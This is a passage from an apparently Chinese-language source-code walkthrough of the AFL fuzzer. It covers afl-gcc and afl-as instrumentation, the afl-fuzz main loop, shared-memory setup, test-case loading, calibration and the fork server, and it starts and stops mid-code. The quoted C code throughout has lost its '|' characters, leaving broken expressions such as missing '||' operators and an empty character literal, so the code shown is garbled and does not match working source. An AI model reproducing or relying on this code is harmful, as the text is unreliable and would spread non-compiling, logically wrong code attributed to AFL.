!strcmp(cur, "-fsanitize=memory")) asan_set = 1; if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1; cc_params[cc_par_cnt++] = cur; } cc_params[cc_par_cnt++] = "-B"; cc_params[cc_par_cnt++] = as_path; if (clang_mode) cc_params[cc_par_cnt++] = "-no-integrated-as"; if (getenv("AFL_HARDEN")) { cc_params[cc_par_cnt++] = "-fstack-protector-all"; if (!fortify_set) cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2"; } if (asan_set) { /* Pass this on to afl-as to adjust map density. */ setenv("AFL_USE_ASAN", "1", 1); } else if (getenv("AFL_USE_ASAN")) { if (getenv("AFL_USE_MSAN")) FATAL("ASAN and MSAN are mutually exclusive"); if (getenv("AFL_HARDEN")) FATAL("ASAN and AFL_HARDEN are mutually exclusive"); cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE"; cc_params[cc_par_cnt++] = "-fsanitize=address"; } else if (getenv("AFL_USE_MSAN")) { if (getenv("AFL_USE_ASAN")) FATAL("ASAN and MSAN are mutually exclusive"); if (getenv("AFL_HARDEN")) FATAL("MSAN and AFL_HARDEN are mutually exclusive"); cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE"; cc_params[cc_par_cnt++] = "-fsanitize=memory"; } if (!getenv("AFL_DONT_OPTIMIZE")) {#if defined(__FreeBSD__) && defined(__x86_64__) /* On 64-bit FreeBSD systems, clang -g -m32 is broken, but -m32 itself works OK. This has nothing to do with us, but let's avoid triggering that bug. */ if (!clang_mode !m32_set) cc_params[cc_par_cnt++] = "-g";#else cc_params[cc_par_cnt++] = "-g";#endif cc_params[cc_par_cnt++] = "-O3"; cc_params[cc_par_cnt++] = "-funroll-loops"; /* Two indicators that you're building for fuzzing; one of them is AFL-specific, the other is shared with libfuzzer. */ cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1"; cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1"; } if (getenv("AFL_NO_BUILTIN")) { cc_params[cc_par_cnt++] = "-fno-builtin-strcmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strncmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp"; cc_params[cc_par_cnt++] = "-fno-builtin-memcmp"; cc_params[cc_par_cnt++] = "-fno-builtin-strstr"; cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr"; } cc_params[cc_par_cnt] = NULL;}\n\n挺长的,不过逻辑基本上都是重复的,主要做两件事:\n\n给 gcc 添加一些额外的参数\n根据参数设置一些 flag\n\n在完成了汇编以后,接下来会使用 afl-as 对生成的汇编代码进行插桩:\nint main(int argc, char** argv) { ...... gettimeofday(&tv, &tz); rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid(); srandom(rand_seed); edit_params(argc, argv); ...... if (!just_version) add_instrumentation(); if (!(pid = fork())) { execvp(as_params[0], (char**)as_params); FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]); } if (pid < 0) PFATAL("fork() failed"); if (waitpid(pid, &status, 0) <= 0) PFATAL("waitpid() failed"); if (!getenv("AFL_KEEP_ASSEMBLY")) unlink(modified_file); exit(WEXITSTATUS(status));}\n\n在 afl-as 中,仍然使用 edit_params 编辑和修改参数,并使用 add_instrumentation 来对生成的汇编代码进行插桩。完成插桩后,用 fork 生成子进程,并调用原生的 as 进行编译。\n插桩逻辑也很朴素:\nstatic void add_instrumentation(void) { ...... /* If we're in the right mood for instrumenting, check for function names or conditional labels. This is a bit messy, but in essence, we want to catch: ^main: - function entry point (always instrumented) ^.L0: - GCC branch label ^.LBB0_0: - clang branch label (but only in clang mode) ^\\tjnz foo - conditional branches ...but not: ^# BB#0: - clang comments ^ # BB#0: - ditto ^.Ltmp0: - clang non-branch labels ^.LC0 - GCC non-branch labels ^.LBB0_0: - ditto (when in GCC mode) ^\\tjmp foo - non-conditional jumps Additionally, clang and GCC on MacOS X follow a different convention with no leading dots on labels, hence the weird maze of #ifdefs later on. */ if (skip_intel skip_app skip_csect !instr_ok line[0] == '#' line[0] == ' ') continue; /* Conditional branch instruction (jnz, etc). We append the instrumentation right after the branch (to instrument the not-taken path) and at the branch destination label (handled later on). */ if (line[0] == '\\t') { if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32, R(MAP_SIZE)); ins_lines++; } continue; } /* Label of some sort. This may be a branch destination, but we need to tread carefully and account for several different formatting conventions. */#ifdef __APPLE__ /* Apple: L<whatever><digit>: */ if ((colon_pos = strstr(line, ":"))) { if (line[0] == 'L' && isdigit(*(colon_pos - 1))) {#else /* Everybody else: .L<whatever>: */ if (strstr(line, ":")) { if (line[0] == '.') {#endif /* __APPLE__ */ /* .L0: or LBB0_0: style jump destination */#ifdef __APPLE__ /* Apple: L<num> / LBB<num> */ if ((isdigit(line[1]) (clang_mode && !strncmp(line, "LBB", 3))) && R(100) < inst_ratio) {#else /* Apple: .L<num> / .LBB<num> */ if ((isdigit(line[2]) (clang_mode && !strncmp(line + 1, "LBB", 3))) && R(100) < inst_ratio) {#endif /* __APPLE__ */ /* An optimization is possible here by adding the code only if the label is mentioned in the code in contexts other than call / jmp. That said, this complicates the code by requiring two-pass processing (messy with stdin), and results in a speed gain typically under 10%, because compilers are generally pretty good about not generating spurious intra-function jumps. We use deferred output chiefly to avoid disrupting .Lfunc_begin0-style exception handling calculations (a problem on MacOS X). */ if (!skip_next_label) instrument_next = 1; else skip_next_label = 0; } } else { /* Function label (always instrumented, deferred mode). */ instrument_next = 1; } } } if (ins_lines) fputs(use_64bit ? main_payload_64 : main_payload_32, outf); if (input_file) fclose(inf); fclose(outf); if (!be_quiet) { if (!ins_lines) WARNF("No instrumentation targets found%s.", pass_thru ? " (pass-thru mode)" : ""); else OKF("Instrumented %u locations (%s-bit, %s mode, ratio %u%%).", ins_lines, use_64bit ? "64" : "32", getenv("AFL_HARDEN") ? "hardened" : (sanitizer ? "ASAN/MSAN" : "non-hardened"), inst_ratio); }}\n\n简单来说就是一个循环读取每行汇编代码,并对特定的汇编代码进行插桩:\n\n首先需要保证代码位于 text 内存段\n如果是 main 函数或分支跳转指令则进行插桩\n如果是注释或强制跳转指令则不插桩\n\n插桩的具体代码保存在 afl-as.h 中,在最后一节中笔者会另外介绍,这里我们可以暂时忽略它的实现细节继续往下。\nafl-fuzz按照顺序,现在程序是编译好了,接下来就要用 afl-fuzz 对它进行模糊测试了。\n一般来说,我们会用 afl-fuzz -i input -o output -- programe 启动 fuzzer,对应的,afl-fuzz.c 中的前半部分都在做参数解析的工作:\nint main(int argc, char** argv) { ...... gettimeofday(&tv, &tz); srandom(tv.tv_sec ^ tv.tv_usec ^ getpid()); while ((opt = getopt(argc, argv, "+i:o:f:m:b:t:T:dnCB:S:M:x:QV")) > 0) switch (opt) { case 'i': /* input dir */ if (in_dir) FATAL("Multiple -i options not supported"); in_dir = optarg; if (!strcmp(in_dir, "-")) in_place_resume = 1; break; case 'o': /* output dir */ if (out_dir) FATAL("Multiple -o options not supported"); out_dir = optarg; break; ...... case 'V': /* Show version number */ /* Version number has been printed already, just quit. */ exit(0); default: usage(argv[0]); }\n\n这部分我们大致看一下就行了,主要的关注点自然不在参数解析部分。\nint main(int argc, char** argv) { ...... setup_signal_handlers(); check_asan_opts(); if (sync_id) fix_up_sync(); if (!strcmp(in_dir, out_dir)) FATAL("Input and output directories can't be the same"); if (dumb_mode) { if (crash_mode) FATAL("-C and -n are mutually exclusive"); if (qemu_mode) FATAL("-Q and -n are mutually exclusive"); } if (getenv("AFL_NO_FORKSRV")) no_forkserver = 1; if (getenv("AFL_NO_CPU_RED")) no_cpu_meter_red = 1; if (getenv("AFL_NO_ARITH")) no_arith = 1; if (getenv("AFL_SHUFFLE_QUEUE")) shuffle_queue = 1; if (getenv("AFL_FAST_CAL")) fast_cal = 1; if (getenv("AFL_HANG_TMOUT")) { hang_tmout = atoi(getenv("AFL_HANG_TMOUT")); if (!hang_tmout) FATAL("Invalid value of AFL_HANG_TMOUT"); } if (dumb_mode == 2 && no_forkserver) FATAL("AFL_DUMB_FORKSRV and AFL_NO_FORKSRV are mutually exclusive"); if (getenv("AFL_PRELOAD")) { setenv("LD_PRELOAD", getenv("AFL_PRELOAD"), 1); setenv("DYLD_INSERT_LIBRARIES", getenv("AFL_PRELOAD"), 1); } if (getenv("AFL_LD_PRELOAD")) FATAL("Use AFL_PRELOAD instead of AFL_LD_PRELOAD"); save_cmdline(argc, argv); fix_up_banner(argv[optind]); check_if_tty(); get_core_count();#ifdef HAVE_AFFINITY bind_to_free_cpu();#endif /* HAVE_AFFINITY */ check_crash_handling(); check_cpu_governor(); setup_post(); setup_shm(); init_count_class16(); setup_dirs_fds(); read_testcases(); load_auto(); pivot_inputs(); if (extras_dir) load_extras(extras_dir); if (!timeout_given) find_timeout(); detect_file_args(argv + optind + 1); if (!out_file) setup_stdio_file(); check_binary(argv[optind]); start_time = get_cur_time(); if (qemu_mode) use_argv = get_qemu_argv(argv[0], argv + optind, argc - optind); else use_argv = argv + optind; perform_dry_run(use_argv); cull_queue(); show_init_stats(); seek_to = find_start_position(); write_stats_file(0, 0, 0); save_auto(); if (stop_soon) goto stop_fuzzing; /* Woop woop woop */ if (!not_on_tty) { sleep(4); start_time += 4000; if (stop_soon) goto stop_fuzzing; } while (1) { u8 skipped_fuzz; cull_queue(); if (!queue_cur) { queue_cycle++; current_entry = 0; cur_skipped_paths = 0; queue_cur = queue; while (seek_to) { current_entry++; seek_to--; queue_cur = queue_cur->next; } show_stats(); if (not_on_tty) { ACTF("Entering queue cycle %llu.", queue_cycle); fflush(stdout); } /* If we had a full queue cycle with no new finds, try recombination strategies next. */ if (queued_paths == prev_queued) { if (use_splicing) cycles_wo_finds++; else use_splicing = 1; } else cycles_wo_finds = 0; prev_queued = queued_paths; if (sync_id && queue_cycle == 1 && getenv("AFL_IMPORT_FIRST")) sync_fuzzers(use_argv); } skipped_fuzz = fuzz_one(use_argv); if (!stop_soon && sync_id && !skipped_fuzz) { if (!(sync_interval_cnt++ % SYNC_INTERVAL)) sync_fuzzers(use_argv); } if (!stop_soon && exit_1) stop_soon = 2; if (stop_soon) break; queue_cur = queue_cur->next; current_entry++; } if (queue_cur) show_stats(); /* If we stopped programmatically, we kill the forkserver and the current runner. If we stopped manually, this is done by the signal handler. */ if (stop_soon == 2) { if (child_pid > 0) kill(child_pid, SIGKILL); if (forksrv_pid > 0) kill(forksrv_pid, SIGKILL); } /* Now that we've killed the forkserver, we wait for it to be able to get rusage stats. */ if (waitpid(forksrv_pid, NULL, 0) <= 0) { WARNF("error waitpid\\n"); } write_bitmap(); write_stats_file(0, 0, 0); save_auto();stop_fuzzing: SAYF(CURSOR_SHOW cLRD "\\n\\n+++ Testing aborted %s +++\\n" cRST, stop_soon == 2 ? "programmatically" : "by user"); /* Running for more than 30 minutes but still doing first cycle? */ if (queue_cycle == 1 && get_cur_time() - start_time > 30 * 60 * 1000) { SAYF("\\n" cYEL "[!] " cRST "Stopped during the first cycle, results may be incomplete.\\n" " (For info on resuming, see %s/README.)\\n", doc_path); } fclose(plot_file); destroy_queue(); destroy_extras(); ck_free(target_path); ck_free(sync_id); alloc_report(); OKF("We're done here. Have a nice day!\\n"); exit(0);}\n\nsetup_signal_handlers设置一些信号处理函数,比如说退出信号时要主动释放子进程、窗口大小调整时要跟踪变化等。\ncheck_asan_opts读取环境变量ASAN_OPTIONS和MSAN_OPTIONS,做一些检查\nfix_up_sync略\nsave_cmdline保存当前的命令\nfix_up_banner创建一个 banner\ncheck_if_tty检查是否在tty终端上面运行。\nget_core_count计数logical CPU cores。\ncheck_crash_handling检查崩溃处理函数,确保崩溃后不会进入程序。\ns32 fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);u8 fchar;if (fd < 0) return;ACTF("Checking core_pattern...");if (read(fd, &fchar, 1) == 1 && fchar == '') { SAYF("\\n" cLRD "[-] " cRST "Hmm, your system is configured to send core dump notifications to an\\n" " external utility. This will cause issues: there will be an extended delay\\n" " between stumbling upon a crash and having this information relayed to the\\n" " fuzzer via the standard waitpid() API.\\n\\n" " To avoid having crashes misinterpreted as timeouts, please log in as root\\n" " and temporarily modify /proc/sys/kernel/core_pattern, like so:\\n\\n" " echo core >/proc/sys/kernel/core_pattern\\n"); if (!getenv("AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES")) FATAL("Pipe at the beginning of 'core_pattern'");}close(fd);\n\n笔者在 Ubuntu20 上跑 AFL 就会遇到这个问题,因为在默认情况下,系统会将崩溃信息通过管道发送给外部程序,由于这会影响到效率,因此通过 echo core >/proc/sys/kernel/core_pattern 修改保存崩溃信息的方式,将它保存为本地文件。\ncheck_cpu_governor检查cpu的调节器,来使得cpu可以处于高效的运行状态。\nsetup_post如果用户指定了环境变量 AFL_POST_LIBRARY ,那么就会从对应的路径下加载动态库并加载 afl_postprocess 函数并保存在 post_handler 中。\nsetup_shmEXP_ST void setup_shm(void) { u8* shm_str; if (!in_bitmap) memset(virgin_bits, 255, MAP_SIZE); memset(virgin_tmout, 255, MAP_SIZE); memset(virgin_crash, 255, MAP_SIZE); shm_id = shmget(IPC_PRIVATE, MAP_SIZE, IPC_CREAT IPC_EXCL 0600); if (shm_id < 0) PFATAL("shmget() failed"); atexit(remove_shm); shm_str = alloc_printf("%d", shm_id); /* If somebody is asking us to fuzz instrumented binaries in dumb mode, we don't want them to detect instrumentation, since we won't be sending fork server commands. This should be replaced with better auto-detection later on, perhaps? */ if (!dumb_mode) setenv(SHM_ENV_VAR, shm_str, 1); ck_free(shm_str); trace_bits = shmat(shm_id, NULL, 0); if (trace_bits == (void *)-1) PFATAL("shmat() failed");}\n\n初始化 virgin_bits 数组用于保存后续模糊测试中覆盖的路径,virgin_tmout 保存超时的路径,virgin_crash 保存崩溃的路径。\n同时建立共享内存 trace_bits,该变量用于储存样例运行时的路径。\n同时将共享内存的唯一标识符 shm_id 转为字符串后保存在环境变量 SHM_ENV_VAR 中。\ninit_count_class16初始化count_class_lookup16数组,帮助快速归类统计路径覆盖的数量。\nsetup_dirs_fds创建输出目录。\nread_testcases读取测试样例。\nstatic void read_testcases(void) { struct dirent **nl; s32 nl_cnt; u32 i; u8* fn; /* Auto-detect non-in-place resumption attempts. */ fn = alloc_printf("%s/queue", in_dir); if (!access(fn, F_OK)) in_dir = fn; else ck_free(fn); ACTF("Scanning '%s'...", in_dir); /* We use scandir() + alphasort() rather than readdir() because otherwise, the ordering of test cases would vary somewhat randomly and would be difficult to control. */ nl_cnt = scandir(in_dir, &nl, NULL, alphasort); if (nl_cnt < 0) { if (errno == ENOENT errno == ENOTDIR) SAYF("\\n" cLRD "[-] " cRST "The input directory does not seem to be valid - try again. The fuzzer needs\\n" " one or more test case to start with - ideally, a small file under 1 kB\\n" " or so. The cases must be stored as regular files directly in the input\\n" " directory.\\n"); PFATAL("Unable to open '%s'", in_dir); } if (shuffle_queue && nl_cnt > 1) { ACTF("Shuffling queue..."); shuffle_ptrs((void**)nl, nl_cnt); } for (i = 0; i < nl_cnt; i++) { struct stat st; u8* fn = alloc_printf("%s/%s", in_dir, nl[i]->d_name); u8* dfn = alloc_printf("%s/.state/deterministic_done/%s", in_dir, nl[i]->d_name); u8 passed_det = 0; free(nl[i]); /* not tracked */ if (lstat(fn, &st) access(fn, R_OK)) PFATAL("Unable to access '%s'", fn); /* This also takes care of . and .. */ if (!S_ISREG(st.st_mode) !st.st_size strstr(fn, "/README.testcases")) { ck_free(fn); ck_free(dfn); continue; } if (st.st_size > MAX_FILE) FATAL("Test case '%s' is too big (%s, limit is %s)", fn, DMS(st.st_size), DMS(MAX_FILE)); /* Check for metadata that indicates that deterministic fuzzing is complete for this entry. We don't want to repeat deterministic fuzzing when resuming aborted scans, because it would be pointless and probably very time-consuming. */ if (!access(dfn, F_OK)) passed_det = 1; ck_free(dfn); add_to_queue(fn, st.st_size, passed_det); }\n\n\n首先获取输入样例的文件夹路径 in_dir\n扫描 in_dir,如果目录下文件的数量少于等于 0 则报错\n如果设置了 shuffle_queue 就打乱顺序\n遍历所有文件名,保存在 fn 中\n过滤掉 . 和 .. 这样的路径\n如果文件的大小超过了 MAX_FILE 则终止\nadd_to_queue\n\nadd_to_queuestatic void add_to_queue(u8* fname, u32 len, u8 passed_det) { struct queue_entry* q = ck_alloc(sizeof(struct queue_entry)); q->fname = fname; q->len = len; q->depth = cur_depth + 1; q->passed_det = passed_det; if (q->depth > max_depth) max_depth = q->depth; if (queue_top) { queue_top->next = q; queue_top = q; } else q_prev100 = queue = queue_top = q; queued_paths++; pending_not_fuzzed++; cycles_wo_finds = 0; /* Set next_100 pointer for every 100th element (index 0, 100, etc) to allow faster iteration. */ if ((queued_paths - 1) % 100 == 0 && queued_paths > 1) { q_prev100->next_100 = q; q_prev100 = q; } last_path_time = get_cur_time();}\n\nafl-fuzz 维护一个 queue_entry 的链表,该链表用来保存测试样例,每次调用 add_to_queue 都会将新样例储存到链表头部。\n另外还有一个 q_prev100 也是 queue_entry 的链表,但它每 100 个测试样例保存一次。\nload_auto尝试在输入目录下寻找自动生成的字典文件,调用 maybe_add_auto 将相应的字典加入到全局变量 a_extras 中,用于后续字典模式的变异当中。\npivot_inputs在输出文件夹中创建与输入样例间的硬链接,称之为 orignal 。\nload_extras如果指定了 -x 参数(字典模式),加载对应的字典到全局变量extras当中,用于后续字典模式的变异当中。\nfind_timeout如果指定了 resuming_fuzz ,即从输出目录当中恢复模糊测试状态,会从之前的模糊测试状态 fuzzer_stats 文件中计算中 timeout 值,保存在 exec_tmout 中。\ndetect_file_args检测输入的命令行中是否包含@@参数,如果包含的话需要将 @@ 替换成目录文件 "%s/.cur_input", out_dir ,使得模糊测试目标程序的命令完整;同时将目录文件 "%s/.cur_input" 路径保存在 out_file 当中,后续变异的内容保存在该文件路径中,用于运行测试目标文件。\nsetup_stdio_file如果目标程序的输入不是来源于文件而是来源于标准输入的话,则将目录文件 "%s/.cur_input" 文件打开保存在 out_fd 文件句柄中,后续将标准输入重定向到该文件中;结合 detect_file_args 函数实现了将变异的内容保存在 "%s/.cur_input" 文件中,运行目标测试文件并进行模糊测试。\ncheck_binary检查二进制文件是否合法。\nperform_dry_run将每个测试样例作为输入去运行目标程序,检查程序是否能够正常工作:\nstatic void perform_dry_run(char** argv) { struct queue_entry* q = queue; u32 cal_failures = 0; u8* skip_crashes = getenv("AFL_SKIP_CRASHES"); while (q) { u8* use_mem; u8 res; s32 fd; u8* fn = strrchr(q->fname, '/') + 1; ACTF("Attempting dry run with '%s'...", fn); fd = open(q->fname, O_RDONLY); if (fd < 0) PFATAL("Unable to open '%s'", q->fname); use_mem = ck_alloc_nozero(q->len); if (read(fd, use_mem, q->len) != q->len) FATAL("Short read from '%s'", q->fname); close(fd); res = calibrate_case(argv, q, use_mem, 0, 1); ck_free(use_mem); if (stop_soon) return; if (res == crash_mode res == FAULT_NOBITS) SAYF(cGRA " len = %u, map size = %u, exec speed = %llu us\\n" cRST, q->len, q->bitmap_size, q->exec_us); ...... if (q->var_behavior) WARNF("Instrumentation output varies across runs."); q = q->next; } if (cal_failures) { if (cal_failures == queued_paths) FATAL("All test cases time out%s, giving up!", skip_crashes ? " or crash" : ""); WARNF("Skipped %u test cases (%0.02f%%) due to timeouts%s.", cal_failures, ((double)cal_failures) * 100 / queued_paths, skip_crashes ? " or crashes" : ""); if (cal_failures * 5 > queued_paths) WARNF(cLRD "High percentage of rejected test cases, check settings!"); } OKF("All test cases processed.");}\n\n对每个测试样例使用 calibrate_case 进行测试,并返回运行结果,然后处理其中异常的情况,比如说程序崩溃或运行超时等。\ncalibrate_casestatic u8 calibrate_case(char** argv, struct queue_entry* q, u8* use_mem, u32 handicap, u8 from_queue) { static u8 first_trace[MAP_SIZE]; u8 fault = 0, new_bits = 0, var_detected = 0, hnb = 0, first_run = (q->exec_cksum == 0); u64 start_us, stop_us; s32 old_sc = stage_cur, old_sm = stage_max; u32 use_tmout = exec_tmout; u8* old_sn = stage_name; /* Be a bit more generous about timeouts when resuming sessions, or when trying to calibrate already-added finds. This helps avoid trouble due to intermittent latency. */ if (!from_queue resuming_fuzz) use_tmout = MAX(exec_tmout + CAL_TMOUT_ADD, exec_tmout * CAL_TMOUT_PERC / 100); q->cal_failed++; stage_name = "calibration"; stage_max = fast_cal ? 3 : CAL_CYCLES; /* Make sure the forkserver is up before we do anything, and let's not count its spin-up time toward binary calibration. */ if (dumb_mode != 1 && !no_forkserver && !forksrv_pid) init_forkserver(argv); if (q->exec_cksum) { memcpy(first_trace, trace_bits, MAP_SIZE); hnb = has_new_bits(virgin_bits); if (hnb > new_bits) new_bits = hnb; } start_us = get_cur_time_us(); for (stage_cur = 0; stage_cur < stage_max; stage_cur++) { u32 cksum; if (!first_run && !(stage_cur % stats_update_freq)) show_stats(); write_to_testcase(use_mem, q->len); fault = run_target(argv, use_tmout); /* stop_soon is set by the handler for Ctrl+C. When it's pressed, we want to bail out quickly. */ if (stop_soon fault != crash_mode) goto abort_calibration; if (!dumb_mode && !stage_cur && !count_bytes(trace_bits)) { fault = FAULT_NOINST; goto abort_calibration; } cksum = hash32(trace_bits, MAP_SIZE, HASH_CONST); if (q->exec_cksum != cksum) { hnb = has_new_bits(virgin_bits); if (hnb > new_bits) new_bits = hnb; if (q->exec_cksum) { u32 i; for (i = 0; i < MAP_SIZE; i++) { if (!var_bytes[i] && first_trace[i] != trace_bits[i]) { var_bytes[i] = 1; stage_max = CAL_CYCLES_LONG; } } var_detected = 1; } else { q->exec_cksum = cksum; memcpy(first_trace, trace_bits, MAP_SIZE); } } } stop_us = get_cur_time_us(); total_cal_us += stop_us - start_us; total_cal_cycles += stage_max; /* OK, let's collect some stats about the performance of this test case. This is used for fuzzing air time calculations in calculate_score(). */ q->exec_us = (stop_us - start_us) / stage_max; q->bitmap_size = count_bytes(trace_bits); q->handicap = handicap; q->cal_failed = 0; total_bitmap_size += q->bitmap_size; total_bitmap_entries++; update_bitmap_score(q); /* If this case didn't result in new output from the instrumentation, tell parent. This is a non-critical problem, but something to warn the user about. */ if (!dumb_mode && first_run && !fault && !new_bits) fault = FAULT_NOBITS;abort_calibration: if (new_bits == 2 && !q->has_new_cov) { q->has_new_cov = 1; queued_with_cov++; } /* Mark variable paths. */ if (var_detected) { var_byte_count = count_bytes(var_bytes); if (!q->var_behavior) { mark_as_variable(q); queued_variable++; } } stage_name = old_sn; stage_cur = old_sc; stage_max = old_sm; if (!first_run) show_stats(); return fault;}\n\n该函数用以对样例进行测试,在后续的测试过程中也会反复调用。此处,其主要的工作是:\n\n判断样例是否是首次运行,记录在 first_run\n设置超时阈值 use_tmout\n调用 init_forkserver 初始化 fork server\n多次运行测试样例,记录数据\n\ninit_forkserverfork server 是 AFL 中一个重要的机制。\nafl-fuzz 主动建立一个子进程为 fork server,而模糊测试则是通过 fork server 调用 fork 建立子进程来进行测试。\n\n参考在源代码注释中的这篇文章可以有更加深入的理解:https://lcamtuf.blogspot.com/2014/10/fuzzing-binaries-without-execve.html\n\n之所以需要设计它,笔者在这里给出一个比较概括的理由:\n一般来说,如果我们想要测试输入样例,就需要用 fork+execve 去执行相关的二进制程序,但是执行程序是需要加载代码、动态库、符号解析等各种耗时的行为,这会让 AFL 不够效率。\n但是这个过程其实是存在浪费的,可以注意到,如果我们要对相同的二进制程序进行多次不同的输入样本进行测试,那按照原本的操作,我们应该多次执行 fork+execve ,而浪费就出现在这,因为我们明明已经加载好了一切,却又要因此重复加载释放。\n因此 fork server 的设计主要就是为了解决这个浪费。它通过向代码中进行插桩的方式,使得在二进制程序中去建立一个 fork server(对,它实际上是由目标程序去建立的),然后这个 fork server 会在完成一切初始化后,停止在某一个地方(往往设定在 main 函数)等待 fuzzer 去喊开始执行。\n一旦 fuzzer 喊了开始,就会由这个 fork server 去调用 fork 然后往下执行。而我们知道,fork 由于写时复制的机制存在,它其实并没有过多的开销,可以完全继承原有的所有上下文信息,从而避开了多次 execve 的加载开销。\n摘抄一段这部分插桩的内容:\n__afl_forkserver: /* Phone home and tell the parent that we're OK. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $199 /* file desc */ call write addl $12, %esp__afl_fork_wait_loop: /* Wait for parent by reading from the pipe. This will block until the parent sends us something. Abort if read fails. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $198 /* file desc */ call read addl $12, %esp cmpl $4, %eax jne __afl_die /* Once woken up, create a clone of our process. */ call fork cmpl $0, %eax jl __afl_die je __afl_fork_resume /* In parent process: write PID to pipe, then wait for child. Parent will handle timeouts and SIGKILL the child as needed. */ movl %eax, __afl_fork_pid pushl $4 /* length */ pushl $__afl_fork_pid /* data */ pushl $199 /* file desc */ call write addl $12, %esp pushl $2 /* WUNTRACED */ pushl $__afl_temp /* status */ pushl __afl_fork_pid /* PID */ call waitpid addl $12, %esp cmpl $0, %eax jle __afl_die /* Relay wait status to pipe, then loop back. */ pushl $4 /* length */ pushl $__afl_temp /* data */ pushl $199 /* file desc */ call write addl $12, %esp jmp __afl_fork_wait_loop__afl_fork_resume: /* In child process: close fds, resume execution. */ pushl $198 call close pushl $199 call close addl $8, %esp ret\n\nfork server 主要是通过管道和 afl-fuzz 中的 fork server 进行通信的,但他们其实不做过多的事情,往往只是通知一下程序运行的状态。因为真正的反馈信息,包括路径的发现等这部分功能是通过共享内存去实现的,它们不需要用 fork server 这种效率较低的方案去记录数据。\n剩下的就是关闭一些不需要的文件或管道了,代码姑且贴在这里,以备未来有需要时可以现查:\nEXP_ST void init_forkserver(char** argv) { static struct itimerval it; int st_pipe[2], ctl_pipe[2]; int status; s32 rlen; ACTF("Spinning up the fork server..."); if (pipe(st_pipe) pipe(ctl_pipe)) PFATAL("pipe() failed"); forksrv_pid = fork(); if (forksrv_pid < 0) PFATAL("fork() failed"); if (!forksrv_pid) { struct rlimit r; /* Umpf. On OpenBSD, the default fd limit for root users is set to soft 128. Let's try to fix that... */ if (!getrlimit(RLIMIT_NOFILE, &r) && r.rlim_cur < FORKSRV_FD + 2) { r.rlim_cur = FORKSRV_FD + 2; setrlimit(RLIMIT_NOFILE, &r); /* Ignore errors */ } if (mem_limit) { r.rlim_max = r.rlim_cur = ((rlim_t)mem_limit) << 20;#ifdef RLIMIT_AS setrlimit(RLIMIT_AS, &r); /* Ignore errors */#else /* This takes care of OpenBSD, which doesn't have RLIMIT_AS, but according to reliable sources, RLIMIT_DATA covers anonymous maps - so we should be getting good protection against OOM bugs. */ setrlimit(RLIMIT_DATA, &r); /* Ignore errors */#endif /* ^RLIMIT_AS */ } /* Dumping cores is slow and can lead to anomalies if SIGKILL is delivered before the dump is complete. */ r.rlim_max = r.rlim_cur = 0; setrlimit(RLIMIT_CORE, &r); /* Ignore errors */ /* Isolate the process and configure standard descriptors. If out_file is specified, stdin is /dev/null; otherwise, out_fd is cloned instead. */ setsid(); dup2(dev_null_fd, 1); dup2(dev_null_fd, 2); if (out_file) { dup2(dev_null_fd, 0); } else { dup2(out_fd, 0); close(out_fd); } /* Set up control and status pipes, close the unneeded original fds. */ if (dup2(ctl_pipe[0], FORKSRV_FD) < 0) PFATAL("dup2() failed"); if (dup2(st_pipe[1], FORKSRV_FD + 1) < 0) PFATAL("dup2() failed"); close(ctl_pipe[0]); close(ctl_pipe[1]); close(st_pipe[0]); close(st_pipe[1]); close(out_dir_fd); close(dev_null_fd); close(dev_urandom_fd); close(fileno(plot_file)); /* This should improve performance a bit, since it stops the linker from doing extra work post-fork(). */ if (!getenv("LD_BIND_LAZY")) setenv("LD_BIND_NOW", "1", 0); /* Set sane defaults for ASAN if nothing else specified. */ setenv("ASAN_OPTIONS", "abort_on_error=1:" "detect_leaks=0:" "symbolize=0:" "allocator_may_return_null=1", 0); /* MSAN is tricky, because it doesn't support abort_on_error=1 at this point. So, we do this in a very hacky way. */ setenv("MSAN_OPTIONS", "exit_code=" STRINGIFY(MSAN_ERROR) ":" "symbolize=0:" "abort_on_error=1:" "allocator_may_return_null=1:" "msan_track_origins=0", 0); execv(target_path, argv); /* Use a distinctive bitmap signature to tell the parent about execv() falling through. */ *(u32*)trace_bits = EXEC_FAIL_SIG; exit(0); } /* Close the unneeded endpoints. */ close(ctl_pipe[0]); close(st_pipe[1]); fsrv_ctl_fd = ctl_pipe[1]; fsrv_st_fd = st_pipe[0]; /* Wait for the fork server to come up, but don't wait too long. */ it.it_value.tv_sec = ((exec_tmout * FORK_WAIT_MULT) / 1000); it.it_value.tv_usec = ((exec_tmout * FORK_WAIT_MULT) % 1000) * 1000; setitimer(ITIMER_REAL, &it, NULL); rlen = read(fsrv_st_fd, &status, 4); it.it_value.tv_sec = 0; it.it_value.tv_usec = 0; setitimer(ITIMER_REAL, &it, NULL); /* If we have a four-byte "hello" message from the server, we're all set. Otherwise, try to figure out what went wrong. */ if (rlen == 4) { OKF("All right - fork server is up."); return; } if (child_timed_out) FATAL("Timeout while initializing fork server (adjusting -t may help)"); if (waitpid(forksrv_pid, &status, 0) <= 0) PFATAL("waitpid() failed"); if (WIFSIGNALED(status)) { if (mem_limit && mem_limit < 500 && uses_asan) { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! Since it seems to be built with ASAN and you have a\\n" " restrictive memory limit configured, this is expected; please read\\n" " %s/notes_for_asan.txt for help.\\n", doc_path); } else if (!mem_limit) { SAYF("\\n" cLRD "[-] " cRST "Whoops, the target binary crashed suddenly, before receiving any input\\n" " from the fuzzer! There are several probable explanations:\\n\\n" " - The binary is just buggy and explodes entirely on its own. If so, you\\n" " need to fix the underlying problem or 